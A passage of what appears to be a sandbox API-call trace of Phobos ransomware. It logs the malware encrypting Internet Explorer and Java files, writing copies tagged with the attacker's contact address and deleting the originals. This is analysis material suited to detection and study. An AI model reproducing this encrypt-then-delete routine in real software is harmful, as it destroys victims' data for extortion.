GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0172.066] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0172.066] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0172.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0172.067] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1910) returned 1 [0172.067] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0172.067] ReadFile (in: hFile=0x2ec, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x1c4, lpOverlapped=0x0) returned 1 [0172.068] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x1d0) returned 1 [0172.068] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x1d0, lpOverlapped=0x0) returned 1 [0172.069] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1890) returned 1 [0172.069] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0172.069] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0172.069] CryptDestroyKey (hKey=0x1d1890) returned 1 [0172.069] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0172.070] CryptDestroyKey (hKey=0x1d1910) returned 1 [0172.070] CloseHandle (hObject=0x2ec) returned 1 [0172.070] CloseHandle (hObject=0x2cc) returned 1 [0172.070] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 1 [0172.072] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0172.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0172.073] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=49688) returned 1 [0172.073] CloseHandle (hObject=0x2cc) returned 1 [0172.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0172.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.073] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0172.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0172.074] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=1516608) returned 1 [0172.075] CloseHandle (hObject=0x2cc) returned 1 [0172.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0172.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0172.075] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0172.075] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0172.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0172.076] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1910) returned 1 [0172.076] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0172.076] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x110100, lpOverlapped=0x0) returned 1 [0173.715] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x110100, dwBufLen=0x110100 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x110100) returned 1 [0173.716] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x110100, lpOverlapped=0x0) returned 1 [0175.722] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x62340, lpOverlapped=0x0) returned 1 [0175.722] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x62350, dwBufLen=0x62350 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x62350) returned 1 [0175.723] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x62350, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x62350, lpOverlapped=0x0) returned 1 [0175.729] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1550) returned 1 [0175.730] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0175.730] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x30, dwBufLen=0x30 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x30) returned 1 [0175.730] CryptDestroyKey (hKey=0x1d1550) returned 1 [0175.730] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xe2, lpOverlapped=0x0) returned 1 [0175.730] CryptDestroyKey (hKey=0x1d1910) returned 1 [0175.730] CloseHandle (hObject=0x2cc) returned 1 [0175.730] CloseHandle (hObject=0x2ec) returned 1 [0175.730] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 1 [0175.752] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0175.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0175.753] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=159808) returned 1 [0175.753] CloseHandle (hObject=0x2ec) returned 1 [0175.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20 [0175.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0175.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0175.754] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0175.754] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0175.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0175.754] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1610) returned 1 [0175.754] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0175.754] ReadFile (in: hFile=0x2ec, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x27040, lpOverlapped=0x0) returned 1 [0175.864] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x27050, dwBufLen=0x27050 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x27050) returned 1 [0175.864] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x27050, lpOverlapped=0x0) returned 1 [0175.883] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1890) returned 1 [0175.883] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0175.883] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0175.883] CryptDestroyKey (hKey=0x1d1890) returned 1 [0175.883] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0175.907] CryptDestroyKey (hKey=0x1d1610) returned 1 [0175.907] CloseHandle (hObject=0x2ec) returned 1 [0175.907] CloseHandle (hObject=0x2cc) returned 1 [0175.907] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 1 [0175.910] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0175.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0175.911] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=587840) returned 1 [0175.911] CloseHandle (hObject=0x2cc) returned 1 [0175.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0175.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0175.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0175.911] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0175.911] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0175.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0175.912] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1610) returned 1 [0175.912] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0175.912] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x8f840, lpOverlapped=0x0) returned 1 [0176.211] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x8f850, dwBufLen=0x8f850 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x8f850) returned 1 [0176.212] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x8f850, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x8f850, lpOverlapped=0x0) returned 1 [0176.221] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d17d0) returned 1 [0176.222] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0176.222] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0176.222] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0176.222] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0176.222] CryptDestroyKey (hKey=0x1d1610) returned 1 [0176.222] CloseHandle (hObject=0x2cc) returned 1 [0176.222] CloseHandle (hObject=0x2ec) returned 1 [0176.222] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 1 [0176.228] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0176.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0176.228] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=29760) returned 1 [0176.228] CloseHandle (hObject=0x2ec) returned 1 [0176.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20 [0176.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0176.229] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0176.229] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0176.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0176.230] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d18d0) returned 1 [0176.230] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0176.230] ReadFile (in: hFile=0x2ec, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x7440, lpOverlapped=0x0) returned 1 [0176.731] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x7450, dwBufLen=0x7450 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x7450) returned 1 [0176.732] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x7450, lpOverlapped=0x0) returned 1 [0176.737] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1510) returned 1 [0176.737] CryptSetKeyParam (hKey=0x1d1510, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0176.737] CryptEncrypt (in: hKey=0x1d1510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0176.737] CryptDestroyKey (hKey=0x1d1510) returned 1 [0176.737] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0176.737] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0176.737] CloseHandle (hObject=0x2ec) returned 1 [0176.738] CloseHandle (hObject=0x2cc) returned 1 [0176.738] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 1 [0176.739] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0176.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0176.740] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=186944) returned 1 [0176.740] CloseHandle (hObject=0x2cc) returned 1 [0176.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20 [0176.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0176.740] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0176.740] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0176.740] CreateFileW 